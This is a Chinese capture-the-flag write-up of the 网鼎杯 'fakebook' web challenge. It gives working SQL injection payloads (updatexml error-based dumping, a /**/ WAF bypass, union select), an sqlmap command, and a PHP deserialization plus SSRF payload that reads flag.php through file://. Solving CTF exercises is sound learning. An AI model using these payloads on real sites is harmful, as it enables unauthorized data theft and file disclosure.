扫描:

nikto扫描:

发现隐藏的robots.txt,其中有源码泄漏(/user.php.bak),输入到地址栏,得到文件user.php.bak。然后用御剑扫描,发现flag.php。

user.php.bak源码:

<?php

class UserInfo
{

public $name = "";
    public $age = 0;
    public $blog = "";

public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

function get($url)
    {
        $ch = curl_init();                                   //初始化一个curl会话

curl_setopt($ch, CURLOPT_URL, $url);                 //设置需要抓取的URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
        $output = curl_exec($ch);                            //运行cURL,请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);          //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄

return $output;
    }

public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。

对注册页面和登陆页面进行post注入探测,发现注册页面中username一栏存在post注入。然后随意注册一个账户,登陆进去以后,发现/view.php?no=1,存在get注入。将no参数改为不存在的值,php报错,得到网站配置文件的后台物理路径/var/www/html/。

注入:

我选择了post注入,因为先发现了post,所以就用burpsuite截取了post数据包,保存为post.txt
(事后用sqlmap跑get注入点并没有跑出结果)

post.txt数据:

POST /join.ok.php HTTP/1.1
Host: http://f60c34e18065457cab2a8f72a615f74aeed1bc0d1cd84c6d.game.ichunqiu.com/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://f60c34e18065457cab2a8f72a615f74aeed1bc0d1cd84c6d.game.ichunqiu.com/join.php
Cookie: UM_distinctid=1655535613c89-0225b46f53fa79-38694646-100200-1655535613e38; pgv_pvi=3838269440; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1534816179,1534831680,1534834500,1534848123; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=b6cdb3f35d0c299c39a2a581c0de505887626935; pgv_si=s4980557824; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1534848148; PHPSESSID=dcgbips79uln77iea8bol6u4d5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

username=1&passwd=1&age=1&blog=https%3A%2F%2Fwww.csdn.net%2F

接着sqlmap跑包
#sqlmap -r /root/File/post.txt --dump -tables
发现数据库data列储存的是PHP反序列化。

fuzz测试:

爆表名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

爆列名 /view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

爆字段 /view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

综合考虑:服务端请求伪造漏洞,在服务器上的flag.php文件,网站配置文件的物理路径(同时也是flag.php的路径),PHP反序列化。

整理出思路:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。
构造注入:

/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

直接用 union select 会被WAF检测到,所以使用 /**/ 来绕过,反序列化字符串对应数据库data列放在第四列(fuzz测试,爆列名),注入后bolg栏显示file:///var/www/html/flag.php,代表注入成功,审计页面源码,发现<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s3YjY1NzM3Zi04NzA4LTQ2ZmYtODhmOC0wMDY4YzY4NTlhMmN9IjsNCmV4aXQoMCk7DQo='>标签,点击链接,拿到flag。

解网鼎杯一道web题(fakebook)相关推荐

  1. 网鼎杯misc部分题的wp

    网鼎杯misc部分题的题解 自己的ctf算是零基础,进来公司安排的任务是收集整理近期ctf题目,我想着那就正好当作练习吧,于是随便自己写一下wp加深一下印象 1.hidden 上来先整一道简单的吧. ...

  2. 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕

    乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...

  3. CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾

    CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾 思路:SSRF结合redis主从复制RCE Tip:使用DNS重绑定绕过限制 参考笔记:redis 主服务器:192.168.8.103 ...

  4. CTF 2020 第二届 网鼎杯 第一道 Misc 签到

    这是我在超正式的比赛(网鼎杯)中做出的第一道CTF题(甭提有多高兴了) 题目地址: http://29ec1ba945124a9b827414b38f4e29030d0e0910e64e466c.cl ...

  5. [网鼎杯 2018]Fakebook

    [网鼎杯 2018]Fakebook 点击添加两条记录之后,任意点进去观察到 http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/vi ...

  6. 【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz

    [2020年第二届"网鼎杯"网络安全大赛 青龙组]Web AreUSerialz http://94b1c2d4231f4b4bb92162d5e89dec8f5817750c48 ...

  7. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  8. 2020网鼎杯玄武组re baby_vm复盘

    baby_vm 0x00 前言 这是一道来自2020网鼎杯玄武组的逆向题,题目的重难点在分析vm流程.这届比赛我没有参加,看到 一些博客都在分析这道题目,于是在闲暇时间复盘学习一下. 0x01分析 首 ...

  9. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

最新文章

  1. 配置Citrix Receiver 3.x、4.x支持添加HTTP站点
  2. .net mvc mssql easyui treegrid
  3. 高德h5地图api接口_html5通过腾讯地图、高德地图、百度地图开发api接口获取坐标对应的周边信息...
  4. Using jQuery to add a dynamic “Back To Top” floating button with smooth scroll
  5. mysql全拼_Mysql中取得汉字的全拼、拼音首字母
  6. java 调用plc程序_从老师傅那里偷学来的PLC宝贵经验!
  7. 思科五个高危漏洞 CDPwn 影响数千万台企业设备
  8. 关于“小米盒子”等的被喷
  9. GlassFish下手动部署JSF程序
  10. 数学建模——典型相关分析(CCA)及spss操作过程
  11. java 替换pdf 文本_java 查找替换pdf中的指定文本
  12. steam网络相关问题-社区错误代码118/无法自动登陆/短期内来自您网络的失败登录过多/无法连接至steam网络(2021/2/18更新)
  13. 彻底解决--“未能加载文件或程序集“xxx.dll”或它的某一个依赖项”
  14. cnki账号 中国知网 免费 入口 用户名 密码 国内外学术刊物数据库账号
  15. 2020 年博客总结
  16. 不一样的xss payload
  17. MySQL数据库绿色安装 mysql-5.7.31
  18. 开源框架面试之MyBatis面试题
  19. 开源团队聊天工具——RocketChat的介绍及部署
  20. 万年历Java(从1900年开始)

热门文章

  1. 【BMI指数计算器V1.0】项目实战
  2. 水仙花问题的两种解决方法
  3. Linux MTD设备文件系统
  4. 网易云课堂数据分析师教程(云盘下载)
  5. 国标消消乐---7.中国最权威的行政区划(以江苏为例)
  6. jira是干什么_JIRA简介
  7. Java架构师之旅(二十八)
  8. vue打包报错 ERROR in static/js/0.4403c1dd262870db3c27.js from UglifyJs TypeError: Cannot read property ‘
  9. 移动web端使用腾讯地图实现定位功能
  10. 各个地区的语言代号及value文件夹命名规范